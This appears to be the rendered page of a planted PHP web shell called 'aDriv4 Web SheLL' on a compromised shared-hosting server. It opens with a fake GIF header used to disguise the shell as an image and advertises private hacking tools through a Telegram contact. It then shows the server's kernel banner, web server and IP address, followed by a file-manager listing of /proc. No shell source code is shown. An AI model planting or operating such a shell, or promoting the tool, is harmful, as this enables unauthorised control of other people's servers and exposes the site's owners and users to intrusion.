GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium262.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
 LiteSpeed
 67.223.118.65
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-05-07 08:22:40
.. dir - root/root 0755 2025-08-05 07:56:31
2044030 dir - soliqmqs/soliqmqs 0555 2026-01-02 09:12:24
2044062 dir - soliqmqs/soliqmqs 0555 2026-01-02 09:12:24
2044141 dir - soliqmqs/soliqmqs 0555 2026-01-02 09:12:24
2044148 dir - soliqmqs/soliqmqs 0555 2026-01-02 09:12:24
2100326 dir - soliqmqs/soliqmqs 0555 2026-01-02 09:12:24
2101737 dir - soliqmqs/soliqmqs 0555 2026-01-02 09:12:24
2102649 dir - soliqmqs/soliqmqs 0555 2026-01-02 09:11:47
2104416 dir - soliqmqs/soliqmqs 0555 2026-01-02 09:12:32
2105221 dir - soliqmqs/soliqmqs 0555 2026-01-02 09:12:57
2105234 dir - soliqmqs/soliqmqs 0555 2026-01-02 09:12:58
2105235 dir - soliqmqs/soliqmqs 0555 2026-01-02 09:12:58
2105651 dir - soliqmqs/soliqmqs 0555 2026-01-02 09:13:08
2105653 dir - soliqmqs/soliqmqs 0555 2026-01-02 09:13:08
acpi dir - root/root 0555 2025-05-07 12:22:43
bus dir - root/root 0555 2025-05-07 12:22:51
driver dir - root/root 0555 2026-01-02 09:13:14
fs dir - root/root 0555 2025-05-07 12:22:51
irq dir - root/root 0555 2025-05-07 12:22:51
kcare dir - root/root 0555 2026-01-02 09:13:14
lve dir - root/root 0555 2026-01-02 09:13:02
net link - soliqmqs/soliqmqs 0555 2026-01-02 09:13:14
scsi dir - root/root 0555 2025-05-07 12:22:51
self link - soliqmqs/soliqmqs 0555 2026-01-02 09:11:47
sys dir - root/root 0555 2025-05-07 12:22:43
sysvipc dir - root/root 0555 2026-01-02 09:13:14
thread-self link - soliqmqs/soliqmqs 0555 2026-01-02 09:13:12
tty dir - root/root 0555 2026-01-02 09:13:14
buddyinfo 0 B root/root 0444 2026-01-02 09:13:14
cgroups 0 B root/root 0444 2026-01-02 09:13:14
cmdline text/plain 0 B root/root 0444 2026-01-02 09:13:14
consoles 0 B root/root 0444 2026-01-02 09:13:14
cpuinfo text/plain 0 B root/root 0444 2026-01-02 09:13:12
crypto 0 B root/root 0444 2026-01-02 09:13:14
devices 0 B root/root 0444 2026-01-02 09:13:14
diskstats 0 B root/root 0444 2026-01-02 09:13:14
dma 0 B root/root 0444 2026-01-02 09:13:14
execdomains 0 B root/root 0444 2026-01-02 09:13:14
fb 0 B root/root 0444 2026-01-02 09:13:14
filesystems text/plain 0 B root/root 0444 2026-01-02 09:12:44
interrupts 0 B root/root 0444 2026-01-02 09:13:14
iomem 0 B root/root 0444 2026-01-02 09:13:14
ioports 0 B root/root 0444 2026-01-02 09:13:14
kallsyms 0 B root/root 0444 2025-05-07 12:22:51
kcore 128 TB root/root 0400 2025-05-07 12:22:43
key-users 0 B root/root 0444 2026-01-02 09:13:14
keys 0 B root/root 0444 2026-01-02 09:13:14
kmsg 0 B root/root 0400 2026-01-02 09:13:14
kpagecgroup 0 B root/root 0400 2026-01-02 09:13:14
kpagecount 0 B root/root 0400 2026-01-02 09:13:14
kpageflags 0 B root/root 0400 2026-01-02 09:13:14
loadavg text/plain 0 B root/root 0444 2026-01-02 09:13:14
locks 0 B root/root 0444 2026-01-02 09:13:14
mdstat 0 B root/root 0444 2026-01-02 09:13:14
meminfo text/plain 0 B root/root 0444 2026-01-02 09:13:09
misc 0 B root/root 0444 2026-01-02 09:13:14
modules 0 B root/root 0444 2026-01-02 09:13:14
mounts text/plain 0 B soliqmqs/soliqmqs 0444 2026-01-02 09:13:14
mtrr 0 B root/root 0644 2025-05-07 12:22:51
pagetypeinfo 0 B root/root 0400 2026-01-02 09:13:14
partitions 0 B root/root 0444 2026-01-02 09:13:14
sched_debug 0 B root/root 0444 2026-01-02 09:13:14
schedstat 0 B root/root 0444 2026-01-02 09:13:14
slabinfo 0 B root/root 0400 2026-01-02 09:13:14
softirqs 0 B root/root 0444 2026-01-02 09:13:14
stat text/plain 0 B root/root 0444 2026-01-02 09:12:59
swaps 0 B root/root 0444 2025-05-07 08:22:41
sysrq-trigger 0 B root/root 0200 2025-05-07 12:22:51
timer_list 0 B root/root 0400 2026-01-02 09:13:14
uptime text/plain 0 B root/root 0444 2026-01-02 09:13:09
version text/plain 0 B root/root 0444 2026-01-02 09:13:14
vmallocinfo 0 B root/root 0400 2026-01-02 09:13:14
vmstat 0 B root/root 0444 2026-01-02 09:13:14
zoneinfo 0 B root/root 0444 2026-01-02 09:13:14
© aDriv4